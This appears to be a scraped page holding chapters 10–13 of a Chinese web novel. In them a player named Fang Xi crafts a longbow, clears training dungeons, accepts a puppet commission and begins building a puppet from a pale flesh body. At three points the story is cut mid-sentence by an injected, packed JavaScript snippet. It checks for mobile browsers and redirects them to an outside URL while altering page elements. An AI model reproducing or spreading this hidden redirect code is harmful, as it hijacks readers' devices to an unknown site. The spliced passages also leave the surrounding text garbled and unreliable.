【……】欧律狄刻有些宕机，一时没加载出合适的语言安慰方羲。 它本想解释几句，如果不是本届新晋赛取消了一切附属排行榜，只看总积分排行，那么以“白乌鸦”单日赚取三万积分的战绩，已然荣登进步榜第一了。 “算了，没关系。”方羲点开背包，确认一般又看了一眼自己的金币余额，窃喜地说，“反正这也够了。” 毕竟她也不是个多上进的人。 不过游戏还是会继续玩下去的。 方羲耐心地退出新晋界面，进入游戏论坛，打开一个由“社牛不想说话”创建的通用版新手指南，记下了一连串副本坐标和路线。 如果说之前的两次，方羲纯粹是靠某种灵性的直觉通关的话，那么现在她决定停下来，用相对踏实常规的方式试试。 不过在进入副本之前……方羲想起自己还有件事没做，也就是制作一个专属于自己的常用武器。 10. 第 10 章 她从背包取出【自制武器胚胎】【上帝的雕刻刀】【九百九十九色的颜料】。 长枪、双刀、单手剑、光剑、现代枪械、匕首、镰刀……方羲脑海中闪过无数只武器样式，想了想，决定将胚胎做成一把长弓。 这是最合适的。 即使她身处千里之外，与异端的根系遥遥相隔着无法跨越的黑洞距离，那么只要她看见了，放出的箭矢也会跟随她的意念，穿透异端脆弱的心脏。 花费了大约三四个小时，方羲终于将长弓的形状雕刻完毕，又在各色颜料之中纠结了一会，最终选择了鲜艳的血红色。 方羲满意地看着自己的成果。 整把长弓由粗细交织的线条搭建而成，被涂抹上血红色的颜料，在充分浸染之后，弓身的质地彻底像是流动着的血液，握在手中也有种过分轻盈虚无的手感，显得诡异又美丽。 【自制武器胚胎已消耗完毕。】 【您的武器制作成功！】 【正在为您检测武器的初始属性……】 一分钟后，方羲眼前出现了长弓的属性界面。 【一把设计怪诞的长弓】 来源：玩家“白乌鸦”自制 等级：零级 耐久度：100/100[全新状态] 属性：攻击[1000]防御[1000] 特殊属性：建立锚点、自动追踪 简介：这是一把弓。 方羲嘴角抽了抽，这个简介为什么这么敷衍？ 当然她也不太可能和背后的智障系统过多计较，方羲点击地图，退出原始美丽的个人空间，传送到刚才记下的副本坐标之一。 面前是一座散发着腐朽气息的巨大古堡，围墙上长满了青苔和藤蔓，大门敞开着，并不限制玩家的出入。 方羲环视了一圈，周围有不少玩家的等级和她差不多，想来也是奔着训练副本而来。 这座古堡是为了诞生在这里的特殊副本专门建造，这些副本经过无数玩家的改造和使用，现在成为了专供新手玩家的练习副本。 方羲踏进古堡，好奇地左看右看。这里的面积实在大得超乎想象，她步行了足足十几分钟，才找到目的地。 虽然期间偶尔会遇见直接飞行越过她的玩家……但方羲依然心情平静。 方羲所选择的第一个副本是武器提升类的，她想借此先练习一下长弓。 由于这是人工花费大量精力改造的副本，危险度几乎为零，在过去的五十年从未发生过任何伤亡，性质和直接在游戏区域上副本不同。因此进入副本领域之前，需要现在审核区支付一笔费用，认证玩家信息，才会得到一张进入的凭证。 审核区绝大部分时间都会交给游戏系统工作，只有在特殊时段才会让玩家负责人工审查。 方羲看了一眼附近的屏幕，上面显示着今日开放的副本……和今天值班的013号系统。 方羲在心底默默同情了一秒，唉，游戏系统也要上班，真是太惨了太惨了。 【玩家信息已认证通过。】 【在本训练副本当中，游戏系统将会自动生成一个难度略高于玩家目前综合实力的副本，在保证安全的基础上，让玩家的潜力以常规路径开发。】 【玩家“白乌鸦”，请选择副本职业类型。】 属于013号系统的活泼少年音，在工作台上凭空响起。 在审核区，有上百个同时运作的工作台，因此整个空间并不拥挤，人来来去去得很快。 但是方羲忽然听见身后有个玩家嘀咕：“哇，才二级就解锁了第二职业吗？” 浮现在方羲面前的游戏面板，上面共有三个选择【猎人】【造梦家】【傀儡师】。 似乎除了最初的人偶师新手副本之外，方羲也没有在失乐园的游戏大陆上接触过任何相关的东西。 即使背后站着其他玩家，他们也不能看见方羲游戏面板的具体内容，因此被误以为是第二职业， 方羲选择了【猎人】的训练副本。 【选择成功！】 【接下来，请玩家进入审核区之后的训练副本通用入口。】 方羲在走进副本入口那一瞬，耳边同时响起【训练副本已生成】的机械声音。 【本次训练副本的时长为三十分钟。】 【在本副本中，玩家所击杀的异端数量越多，最终结算的奖励也越丰厚。】 【玩家不可破坏本副本的能量锚点，否则将再次收到一张来自013系统的欠费单。】 方羲欲言又止，但注意力很快转移到四周。 脚下是一片残缺的石块地面，四面破碎崎岖不平，悬浮于天空之境。 方羲微微抬眼，眼睛倒映出一个仿佛来自远古时代存留下来的巨大齿轮，中心处有一个散发着微弱光芒的能量核心。 而在齿轮之后，是一只长而粗壮的、体型类似蚯蚓的怪物，没有眼睛，却张着血盆大口，身上缠着细细密密的锁链。 然后，怪物的头部以一种极其缓慢的速度，朝方羲所在的位置转过来。 方羲迅速退到塌了一半的柱子，不忘吐槽道：“这玩意也太丑了……呃，怎么又多了几只。” 在齿轮背后，又隐隐冒出几只体型更加庞大的怪物，蛰伏在云雾之后，饶是只能用肉眼看见隐约的黑影，也会莫名其妙感受到一种压迫感。 把这群东西杀死就好了吧。方羲心想。 方羲手里召唤出方才新做的长弓，转身，身体微微往边缘靠，站在柱子阴影之下。 在方羲拉弦的那一瞬，齿轮核心的光芒也越发黯淡，蚯蚓怪物的数量随之不断增多。 纯净的天空开始发黑。 熟悉的雾气。方羲漫不经心地想，却并未因此畏惧，果断放箭。 箭矢如惊雷般划过，穿透三只异端的头颅，血液迸发。 在方羲手下，原先只是细小的一箭，再放出时却骤然汇聚着巨大强悍的力量，像是一束恐怖的能量炮。 头颅是弱点。 方羲继续勾弦，放出第二箭。 再之后是第三箭、第四箭……怪物发出尖利凄惨的叫声，一具具被箭矢撕裂的身躯向下坠落，底下是飘渺无尽的虚空。 方羲开始感到厌烦，她想了想，将放箭的速度逐渐放慢，同时拉弓却只瞄准边缘的一处虚空。 她的弓箭拥有【自动追踪】的特殊属性，一开始她的确是认真瞄着异端的头颅，箭矢也如能量炮一样庞大，因此还没有机会感受一下这个功能。 但是失效了。 箭没有方羲预料中那样转过弯来，追着异端的头颅厮杀，而直直发出，最终消失在方羲视野里。 “哦，因为这个副本没有生成根系吗？”方羲自言自语道。 蚯蚓般的异端新生得越发缓慢，这时候也差不多到副本结束时间了。 这种训练倒不是没有用，在副本机制的催促之下，方羲在整整半小时内都维持着一个高强度的输出。 最终，方羲站在石板地面上，慢慢放松握着长弓的双手，指尖被弓弦磨出明显的压痕，神色平静地看着最后一只巨大异端的湮灭，纯净的天空之镜霎时间充满诡异的黑色颗粒。 【我本以为您会抗拒这种重复的训练。】欧律狄刻说。 毕竟，在人偶师的专属空间里，方羲说是要建造木屋，却又犯懒，不想再继续无意义的重复动作。 “还好吧。”方羲说，“这是通往终点必不可少的一步，不是吗？” 【本次副本已结束，在玩家下一次进入相同副本时，难度将会逐级提升。】 【击杀数量：169】 【评价：A】 【经验x100，初级攻击技能书x2，初级敏捷技能书x3。】 这个奖励总觉得看上去有点寒酸，不过编写通用版新手指南的玩家“社牛不想说话”，倒是反复劝告新人。 【不管你们自认为自己的初始属性和初始天赋多么高大上，也一定要走一遍这个流程好吗！！！如果连基础常识也不懂，那岂不是到时候死也没死个明白，那真是有点惨了。要知道坚持365天的训练副本之后，要是哪个倒霉蛋真的在现实中遇见异端，好歹能增加几分自保能力。】 很多玩家将他的劝告视为画大饼，但或许以游戏的形式，总有玩家坚持日复一日难度递增的训练。 方羲退出了副本，这种训练副本可以每天过一次，她准备按照新手指南，前往下一个副本坐标。 接下来遇到的副本也相当基础，全部凝炼为一个单维度突出的异端，玩家只需要抓住这个点，实力达到副本合格线便可通过。 无聊得甚至没有方羲发挥余地。 但是，时间一久，方羲也慢慢察觉她的攻击思维似乎和常规意义上不太一样。 捕捉异端的根系，彻底绞杀它，让一切可能复苏的细胞都死于箭矢之下。 可是，普通玩家、乃至于在论坛发布新手教程的顶尖玩家，似乎都秉持着一个相同的观念。 对待异端，只需要尽可能敲碎它的外壳，在整支队伍实力高的情况下，才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚才一连串下来刷了八九个副本，即使没受到一点伤，衣服也没有破损，但方羲明显感觉到身上的初始服装并不适合战斗。 她快速挑好了一套简单干练的战斗服，然后选了一套黑色皮质手套。 “您好，欢迎光临。”就在方羲选完的不久之后，店主刚好回来了，她略带歉意地说，“抱歉，试炼场那边发生了一点意外，我刚刚去处理了一下。” “没关系。”方羲将选好的战斗服和手套放在收银台上。 店主扫了一眼，随口道：“一共一千金币。您可以使用店内的试衣间直接更换。” 这个价格倒是好很多，虽然低等星上的衣服大部分都是几十几百块钱。方羲默默地想。 支付完金币之后，方羲去试衣间换上了衣服。 方羲是右利手，虽然买了一整对手套，她却只带上一只右手套。 出来的时候，方羲听见店主似乎在和其他人通话：“你们俩个就别闹脾气了，放心吧，等过完这三个月，这个任务就结束了……我倒是希望她能找到更合适的队友，如果不是傀儡师断代严重，的确没必要强行绑定真实玩家浪费资源。对了，你联系上那名新出现的傀儡师了吗？” 像是加密通话一样，很多字眼听不清楚，只捕捉到“傀儡”一词。方羲略有困惑地想。 但她一向对多余而无意义的事情没有任何好奇心，离开了这家服装店。 先回人偶师空间吧，猫猫应该送完东西回来了！方羲开始怀念撸猫的手感。 “喵！！！！！” 晨乌一脸委屈地盯着方羲，不停地喵喵叫，在她脚边转圈，蹭来蹭去。 整个猫简直要黏在方羲身上。 方羲心底闪过一丝熟悉的心虚，但熟能生巧，很快将猫猫的情绪安抚好。 “喵！”晨乌用爪子扒拉方羲，仿佛在示意什么。 方羲顺从猫猫的意愿，跟了上去。 草坪上躺着一只奄奄一息的异端。 更准确的说，一块不成型的异端残肢，像是从哪里硬生生扯下来一团紫色团雾。 【您的晨乌在外出游荡之时，为你带回来了：偷吃了几口的紫雾x1。由于该残肢纯净度、完整度不足，仅可作为傀儡的材料，不可用于人偶制作。】 【您的晨乌似乎过于贪吃，但它依然将猎物优先带回家给您。】 方羲陷入沉思。 11. 第 11 章 方羲整理了一下方才打副本的奖励，收获如下：【经验x1000，金币x600，初级攻击技能书x9，初级敏捷技能书x3，初级生命技能书x6，自制武器胚胎x2，一次性防护罩x1，初级体力药剂x3，低危副本引路灯x1，会说话的礼帽x1，天然珍珠x6，破碎的灵感眼镜x1】 猫猫躺在方羲怀里，眼睛微微眯起，昏昏欲睡，发出舒服的呼噜声。显然，外出游荡了一圈，让晨乌感到快乐又疲惫，只想待在主人身边休息。 方羲不轻不重地抚摸着晨乌的背部，进入黑天鹅交易所，打开普通交易区，开始寻找和傀儡有关的售卖贴或定制贴。 她原本只是想参考一下市场规则和价格……然后被一堆不堪入目的设计辣到眼睛了。 各种毫无关联的残肢拼凑在一起，比如水母的触须充当四肢，苹果削掉的皮勉强可看做头发，而脸部是用一团泥巴糊上去的…… 先不说这种设计是否合理，但方羲往下一划，震惊地发现这种丑到惨绝人寰的傀儡居然有玩家愿意购买。 但是，连续看了十几个帖子，方羲发现，外表在正常审美之内的傀儡，其属性数值甚至不如设计硬生生拼凑的，甚至有玩家留言说：【好看好看，但是没有用啊，一点忙都帮不上。建议楼主再降一点价吧，可能会有人愿意买回去收藏观赏吧。】 楼主回复了一个哭哭的表情。 方羲又参考了一下价格，但在普通交易区绝大多数都是已成品的傀儡出售，只有少量几个愿意接定制单的玩家，但活动已经截止。 退出去点进【交流区】，方羲简单看了一下和傀儡师相关的帖子，才明白设计混乱的缘由。 一般情况下，制造傀儡不需要像方羲最开始那样割裂灵魂，而是根据手中不同残肢的特性和属性，进行合适的排列组合。事实上，异端之间并不相容，能够利用几个残肢构建成一个完整品，已经是相当不容易的事情了。 而少部分摸到灵魂门槛的顶尖傀儡师，也开始学会利用灵魂的力量制作傀儡。 但不一样的是，这样的制作方法存在相当大的风险，这样创造出来的傀儡，一举一动不仅会消耗傀儡师的生命力。而且在深入副本所受到的伤害，还会同步转移到傀儡师身上。 沾染灵魂的傀儡一旦死亡，傀儡师也会受到巨大的创伤。 方羲觉得参考信息收集得差不多了，无视因为第一个售卖贴带来的无数后台私信，开始组织语言，发布接定制傀儡的帖子。 【标题：傀儡定制（盲盒练习向）】 【发布者：非专业收藏家】 【接单详情： 非灵魂向傀儡，仅限残肢之间的搭配定制，残肢由我自行收集。 单主需提供个人属性、特殊属性，以及在副本战斗中存在的劣势，我将根据你的情况创造相匹配的傀儡。 此为练习向，因此在外形、性格等细节方面，无法接受具体的要求，单主自由度较低，谨慎下单。 如有特殊要求可提出（要加钱）。】 【附带服务：傀儡后续的损坏可修理，时间永久，附赠制作剩余的残肢。】 【价格：400000】 【剩余量：1】 其实方羲可以选择自造一个再进行售卖，而不必在意其他玩家的需求。 但现阶段她打副本都习惯自己动手，而且非定制向的傀儡，也需要使用者和傀儡之间花费大量的时间精力去磨合，反而给其他玩家带来不便。 她现在手上也没什么残肢材料，可能还要一会到处探索一番。 方羲退出去刷了十五分钟的论坛，沉迷其中不可自拔。原来以前她没有网瘾，也是因为低等星的网络系统太差了，导致她没有这个条件娱乐。 在这短短十五分钟内，方羲才发布不久的帖子，迅速被顶成HOT贴。 【发布者的ID好眼熟啊……啊？这不就是昨天拍卖残肢的楼主吗？？？（瞳孔巨震）】 【呜呜呜咱们区终于来了一个愿意接定制的傀儡师了！大佬看看我的私信！！！】 【话说，这个价格是不是有点低了？看上去像是新手的价格，但是一般的新手傀儡师不能随便开定制单吧……黑天鹅的系统有认真审核吗？】 【楼主不发一下过往案例吗？这个详情感觉太空泛了，都看不出你擅长的傀儡类型。虽然说能玩家特性专门设计，可是新手价……你还不如直接做自己擅长的类型呢，要知道翻车的傀儡师不在少数。】 【翻车也无所谓吧，现在傀儡这么稀缺，说实话有就不错了，你们能不能别杠啊！！！万一影响了楼主心情怎么办？】 质疑的留言占了五成。 方羲正想回复些什么，却忽然刷新出同一个ID的玩家留言。 “社牛不想说话”回复：【神经病啊！上来就喷？不知道的还以为你是哪个高深的内行人呢？】 【没看见第一行那几个大字吗？“非灵魂向傀儡”。大部分情况下，不管是自制傀儡还是定制傀儡，我们都直接默认残肢搭配的形式，一般傀儡师也不会特地提起这点。这么说你能明白了吗？】 “社牛不想说话”一连串发了足足几十条评论，专门回复那些质疑的留言，突突突地像机关枪一样，怒怼那些质疑的评论。 方羲看得一愣一愣的，脸上露出几分震惊，隐隐感觉到某种“互联网冲浪十级选手”的威力…… 而且这个ID似乎有点眼熟，方羲恍然想起来，是她几个小时才看过的新手副本指南的发布者。 而且之前在黑天鹅第一个售卖贴，后台私信都出现过，只是方羲一条没回复过。 方羲打开系统后台，此时已经有上百个玩家给她发出了购买意向。 但方羲只打算接一个，她漫不经心翻阅着玩家各种信息和需求，指尖忽然一顿。 “社牛不想说话”也向她发送了购买意向，但他的需求却和其他玩家不太一样。 其他玩家或多或少都希望加钱，让傀儡具备某种战斗特性，即使这种特性并不契合玩家目前的属性。 但是“社牛不想说话”的需求却是通用版傀儡。 【社牛不想说话】：您好。 【社牛不想说话】：这是我的战斗属性和特殊属性。但我——或者说我们几个玩家，希望拥有一个危险之时能够派得上用场的傀儡，也就是说，希望它能在高危副本替我们看见更多的东西，避免团队不必要的伤亡。 【社牛不想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739186|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话】：我们一定会好好珍惜这只傀儡的QAQ平时使用次数不会太多，也不会让它损坏（真诚恳求的目光） 对方的要求倒是直击傀儡的本质。 傀儡是人类延伸的眼睛。 但即使是这一点，许多傀儡师也很难抵达这种境界。更多的时候，制造出来的傀儡只能被普通玩家当作挡伤的工具，或者偶尔用来充当造梦家的替代品。 方羲想了想，看了一下对方发过来的属性。 昵称：社牛不想说话 等级：9 天赋职业：猎人 常用武器：附魔枪械 战斗特性：高攻强输出、远近战兼具 普通数值： 攻击【33999】 生命【26400】 敏捷【20000】 防御【30800】 体力【600】 耐力【677】 特殊数值： 异端抗性【4000】 灵感【3200】 腐蚀度【30】 方羲看着五位数的属性陷入沉思。话说回来，她现在制作的傀儡，其数值必然和自己的属性差不多。 算了。方羲脑海中迅速浮现出另外一个解决方法——让傀儡和玩家一样，能够升级成长不就行了。 就和小橘猫一样。方羲摸了摸猫猫，有些担忧晨乌日后会成长为一只肥猫。 【非专业收藏家】：可以。工期我暂时不太确定，你急用吗？ 【社牛不想说话】：我被接单了？？？多久时间都可以！我可以一直等！ 方羲在这边确定了接单，正想退出黑天鹅交易所，却立刻收到了一个新提醒。 【您的账号已收到来自玩家“社牛不想说话”的定金：金币x76000】 方羲顿时刹住了退出的动作。 【社牛不想说话】：另外…有件事情想和您道歉QAQ 【社牛不想说话】：在您的傀儡过来送残肢的时候，我正好在场，误以为您的傀儡想要攻击人类，便下意识发了一枪作为威慑的子弹。我没想到您的傀儡只是在为踏樱净化灵魂，非常抱歉QAQ 方羲陷入沉默，低头看了看还在睡觉的橘猫。 总感觉这猫趁她不在，似乎做了什么不得了的事情。 【非专业收藏家】：没事，它的特性是吞噬，应该没给你们造成麻烦吧？ 【社牛不想说话】：当然没有！实话实话，我也是第一次见到这种外型的傀儡，它很强大。 啥？这货没见过猫？ 方羲心底闪过一丝同情。 不，等等……方羲忽然想起某个系统消息，“欧律狄刻，之前我给晨乌起好名字之后，个人信息里变更的内容是什么？” 【已制作的人偶：远古四脚兽[未命名]】变更为【已制作的人偶：晨乌】 方羲陷入了自我怀疑。 猫……应该是一种很常见的生物。方羲平时在上班路上也会偶遇几只流浪猫。 难道是其他星球的环境生态不太一样？ 算了，懒得管了。方羲果断甩开这个事情，把猫猫抱到桌子上放着，准备独自去四周收集制作材料。 12. 第 12 章 在人偶师空间里，不像游戏主区域那样，可以随时随地瞬移，也没有系统地图作为参考，一切都需要玩家自己徒步探索。 当然，偶尔也能拾人牙慧。 方羲在一颗树上捡到了一张牛皮底图，上面粗略地标志着人偶师空间各种奇奇怪怪的区域，像是远古废墟、眼睛丛林、头发沼泽、精灵部落、血肉之地…… 方羲看见地图上冒出一段文字：【这是我一百年前的探索成果，但是时间过去这么久了，人偶世界想必发生了翻天覆地的变化，这张地图不见得有什么用。】 “我凑合用一下。”方羲回答。 【…………随便你。】 由于方羲身上带着“人偶师新手指南”，一路上偶尔会看见一些残留的灵魂遗迹，沾染在各种物品身上，然后和她搭话几句。 一开始她还以为这只是个无用的新手赠品，原来真实的用处是在这里…… 【你想去哪里？】灵魂A说，【推荐你去这附近的精灵部落，那些家伙可好玩了！】 灵魂B却说：【你傻啊！那些异端早就被你挥霍空空了，还能有什么能留给这个新人？要我说，要不如去地下监狱，应该还能搜刮到不少好东西。】 方羲走远了，但她总感觉身后的两只灵魂还在沉迷吵架不可自拔，生前想必是一对冤家。 方羲在【血肉之地】停下了脚步，看着面前宛如金字塔的垃圾堆，黑压压的一片，陷入了深深的沉思。 事实上，她本以为自己算是比较懒的一个人了，没想到天外有天人外有人。 这里似乎很少有人手人脚，更多的是各种兽类的某些特征部位。恶魔的尾巴，黑山羊之角，衔尾蛇掉落的鳞片，又或者是干枯的海洋触手，龙的四肢、牙齿和翅膀。 方羲东翻西翻，勉强挑出一对黑山羊角。 这对羊角有些小巧玲珑，但散发着乌黑的不祥气息。 【邪恶的黑山羊之角】 【被强行剥落身体的一对黑山羊角，在血肉之地静静地躺了一百年，不爱和同类争夺，喜欢待在角落。但即使是这样退却的姿态，却因为身上无时不刻散发的邪恶气息，遭到了同类的忌惮。】 【净化值：95】 【检测到该残肢驯服度较高，是否放入背包？】 黑山羊角被方羲丢进了背包。 “咕噜咕噜——”当方羲准备转身离开的时候，一个傀儡头从高处滚落到她脚边。 这片被无数异端残肢覆盖的大地，忽生巨变，爆发出一片诡异的血光！ 过去撒落在大地的血迹，似乎冥冥之中感应到入侵者的靠近，潜藏于泥土之下的微小细胞，快速生长出血管、骨骼、手脚，最后是一副完整的人类躯体。 这群“身体”用洁白的双手扒拉开覆盖在大地的垃圾，如同僵尸复苏，四肢僵硬、以各种突破人类活动极限的姿态从大地爬出来。 只是，比起真实的血肉之躯，它们的身体更像是机械僵硬的僵尸，只是多出了怪异的真实感，皮肤苍白得像是死寂的雕像。 就连脸部上，眼眶也空空如也，头部没有毛发。 【您已触发血肉之地的副本，请做好战斗准备。】 这些新生的人类躯体，统一默契地朝方羲看过来，看似呆呆地站在原地，双手却诡异地伸长，灵活地朝方羲袭来！ 方羲心念一动，右手出现一把【普通的枪】，扣动扳机，子弹穿透一只距离她最近的躯体！ 血液迸裂，脆弱的躯体随之倒下，双手软趴趴地垂落，嘴巴坚持发出嗬嗬的怪异声响，像是临死前不甘的悲鸣。 一共十只。 方羲快速侧身，躲过袭来的长手，面无表情地连续开枪，子弹不足时快速填充弹匣，把这群虚假的人类躯体一一击杀。 方羲开枪时并不追求精确度，反而过于随心所欲。 对着肩部一枪，血肉僵尸会停滞好几秒，头部呆呆地转了一下，看着自己受伤的部位。 也正是几秒的间隙，僵尸剩余的手脚分别被射了一枪，无法移动。 然后是脆弱的心脏、脖颈和头颅。 一连串下来，四周血迹斑斑，僵尸身体死得尤其惨烈，然后无声无息地融化成一滩血水，重新流入大地之下，除了残余的血迹，一点掉落物都没留下。 方羲面前还有一只苍白的人型躯体，体型类似于少女，呆呆地站在原地，毫无警惕之心，连方羲几乎要贴脸站在她面前的时候，也只是眼神空洞地看着她。 这是最干净的一具身体。 刚才被方羲杀死的九只僵尸，让方羲从身体到心灵都感受到一阵强烈的厌恶感。 它们懂得有意识的躲避和攻击思维，每一只的攻击特定都存在细微的区别。 有的喜欢强攻，不善躲避。而有的会躲在一边，暗中观察，寻找偷袭的机会。 这是异端吞噬过过多人类的标志，它们开始模仿人类的语言。 而面前的这一只，方羲怀疑她没有长出大脑，似乎没有自我意识的萌发，明明身为与人类天然为敌的异端之物，却连攻击的本能也不具备。 “你会被其他异端当作食物吃掉吧。”方羲拍了拍她的头，神情平静地说，“如果我死在这场袭击的话。” 毕竟这里附近没有比同类更营养、更丰盛、更适合滋养自身的食物了。 方羲是人类之中的异类。 而这具象白色身躯，也是异端中的异类。 “那就选你吧！”方羲语气果断地说。 它依旧眼神空洞地看着方羲，最开始一点反应也没有，但幸好还具备听觉和嗅觉，感知到面前的人类似乎拥有浩瀚无垠的生命力。 然后它顺从似的，慢慢地、轻微地点了点头。 【一具来自血肉之地的人类身躯，很显然，她大脑空空，什么都不会，战斗力未知，有待考察。一个没有任何基础和特性的血肉之躯，显然会让傀儡的制作难上加难。】 【尽管它不会思考，空洞的目光却依旧被你吸引，很奇妙的化学反应，不是吗？】 【净化度：100】 【核心残肢收集成功！】 【检测到该残肢净化度、完整度、驯服度皆达95以上，已满足傀儡的制作要求。】 【由于该残肢存在形式较为特殊，不可放入背包，为了避免它偷偷跑掉或走远迷路，请将它放置在合适的地方。】 方羲想了想，她从自家基地徒步过来这边花费了四十分钟，回去一趟然后再出来，这样也怪麻烦的，决定让它直接跟着自己算了。 方羲朝【象白身躯】示意，让她跟上自己的脚步。 它在原地呆呆地站着，没有回应。 而方羲也没有催促，神情平静地注视着她没有眼睛的眼眶，耐心等待。 五分钟后，【象白身躯】似乎终于理解了方羲的意思，慢吞吞地跟了上来。 “接下来再找点什么呢……”方羲边走边看地图。 这个来自百年前的地图的确失去了大部分用处，比如方羲原本想去地点A，但实际到的却是地点B。 因此方羲将走过的地方，在地图上修正，但这样的图画看上去就有些杂乱，她打算回头自己做一张全新的。 方羲带着象白身躯来到了【头发沼泽】。 这里的景象不太协调，棕黑色枯木和乌黑的沼泽，其中却混入了各种颜色的“头发”，长长地挂在树上。 但在地图给这块地方进行了特别标注：无危险，可随意作死。 “去拿一个你喜欢的。”方羲说，然后她也自己往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739187|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走到一颗枯木，随意地开始挑选。 方羲直接丢了一堆头发形态的残肢放进背包，足足九十九个，她觉得自己撸羊毛得差不多，多少本着一点自然再生的节俭观念，停下了收集的动作。 方羲回头看了一眼【象白身躯】，她竟然把自己的话听进去，左手拿着一团长长的黑色长发，神情依旧呆呆的。 “好了，我们回去吧。”方羲说，站在原地低头看地图。 【象白身躯】这一次的反应显然快了一点，跟在方羲后面。 两个人回家的路异常顺利。 一回到家，方羲立刻迫不及待躺在柔软的草坪上休息。猫猫蹲坐在工作桌上，见到主人终于回来了，立刻跳下桌子，熟练地躺在方羲怀里。 猫猫只看了一眼新来的异端，然后就完全无视了她，懒懒地对着主人喵喵叫。 方羲打了个哈欠，盯着撒落无数细碎形成的夜空。 【象白身躯】也学着方羲的动作，躺在草坪上，空洞的眼眶注视着美丽的星空。 “时间这么晚了，可是造房子也不是一朝一夕的事情。”方羲摸了摸小橘猫，忽然想起来一件建造的事，瞬间将制作傀儡的任务抛之脑后，满脑子为这件事发愁。 她总不能在借着月光和路灯制作吧？ 欧律狄刻建议道：【事实上，您可以直接购买一座模型房屋，也不需要一一收集制作材料。但缺点是，这种类型的房屋没有任何抗风险性，遭遇暴雨、台风等极端天气容易损坏，更无法抵御异端的袭击。】 “买买买！”方羲瞬间支棱起来，“其他的可以慢慢改造。” 欧律狄刻为方羲弹出一系列设计精美的房屋，每个略缩图下面都标志着价格，似乎可以分期付款。 方羲原先果断的神情慢慢变得迟疑起来。 她在想，现实的自己，都只能靠租房度日，居然异想天开地想在游戏世界买房子……哦不这里有个最便宜的。 五万金币，狭小的一块。里面也没有家具，只能自己另外单独再买。 方羲摸了摸从草坪上坐起来，摸了摸小橘猫，又转头看了看旁边那只没什么智商可言的异端。 她怎么住无所谓，可是猫猫和其他人偶们（以后她肯定会再做几个），总不能长期流浪吧。 于是方羲心里一狠，把这座最便宜的小木屋加入购物车。 她又打开游戏商场的家具分类，买了一套懒人沙发，十盏明亮的挂灯，几盆普通绿植，一张床，各种桌椅等等各种用得上的家具。 点击付款，总共56700金币。 一个设计简洁的小木屋瞬间出现在空地上，方羲刚才下单的家具也自动安装在里面。 至于买的一张工作桌、一张椅子、两个储藏柜还搁置在空地上，方羲起身将这些搬进屋子内。 【象白身躯】紧紧地跟在方羲身后，对新出现小木屋丝毫不感兴趣。 而充满好奇心的猫猫，发现自己的领域上出现了一个陌生的家伙，橘色的猫毛微微扎起，谨慎地在四周转了一圈，发现什么危险都没有，才开开心心地从窗户直接跳进去。 方羲打开木门的时候，发现猫猫已经极其自觉地躺在懒人沙发上，朝她喵喵叫了几声，尾巴一摇一摇。 方羲让【象白身躯】坐在一张新买的木椅上，用一种观察的目光看着她。 这只单纯的异端似乎也察觉到了什么，却没有任何反抗的动作，乖顺得过于不可思议。 藏在皮囊之下的脏器，慢慢停止了一切运作。 【该核心残肢已陷入沉睡状态。】 【系统将会为你进行实时记录和预测残肢的任何变化，以避免残肢的驯服度大幅下降、而出现的攻击举动。】 【请点击开始，制作您的新傀儡。】 13. 第 13 章 方羲将【上帝的雕刻刀】【沼泽哺育的黑色长发】【红色眼眸】【泥土剪刀】【精灵布料】【九百九十九色的颜料】【邪恶的黑山羊之角】逐个取出。 首先从僵硬面部开始。 方羲神情平静地拿起雕刻刀，右手没有一丝一毫地颤抖，为她僵硬、不协调的脸部开始重新雕刻与调整。 为眼角划下一刀时，异端的脸部会随之出现真实的伤口，流下像是人类那样的血液。 但是，眼角的伤口很快恢复如初，除了残余的血迹，完全看不出受过伤的痕迹。 而原先被雕刻刀碰过的地方，同时顺应着道具身上某种奇异的力量，发生了最精确的改变。 当然，方羲不至于真的像现实中的医者那样，对这张脸残忍地大动刀，只是让她的脸看上去更像人类而已。 一刀刀划落。 异端脸上的血迹越来越多，面部雕刻也接近尾声，方羲从游戏商场买了纸巾和湿布，为她擦拭干净。 方羲认真地端详着异端的脸部，现在看上去完全是一个正常的人类，只是缺少了眼睛和头发。 拿起放在一边的【红色眼眸】，方羲直接简单粗暴地对着空眼眶，稍稍用力，眼球便自如缩小、贴合血肉，契合得极其完美。 然后是头发，只需要将她自己从沼泽选择的黑色长发，盖在头部上。 但这些“头发”并没有立刻扎根在象白身躯的头部，发尾微微飘动，似乎想要逃离。 “你们是一部分。”方羲语气冷漠地说，神情间无意识露出几分强硬的压迫感。 而懒懒窝在懒人沙发上的猫猫，也微微眯起眼睛，朝这团头发一瞥，发出了一声重重的哈气。 原先不太安定的黑色长发，顿时变得乖巧无比，顺从地长出新的链接细胞，彻底扎根在这具象白色的血肉之躯身上。 方羲又用同样的方式，让【邪恶的黑山羊之角】屈服。 现在，整体已经完成了。少女拥有了新的双眼，柔顺乌黑的长发，还有一对充满危险性的黑山羊角。 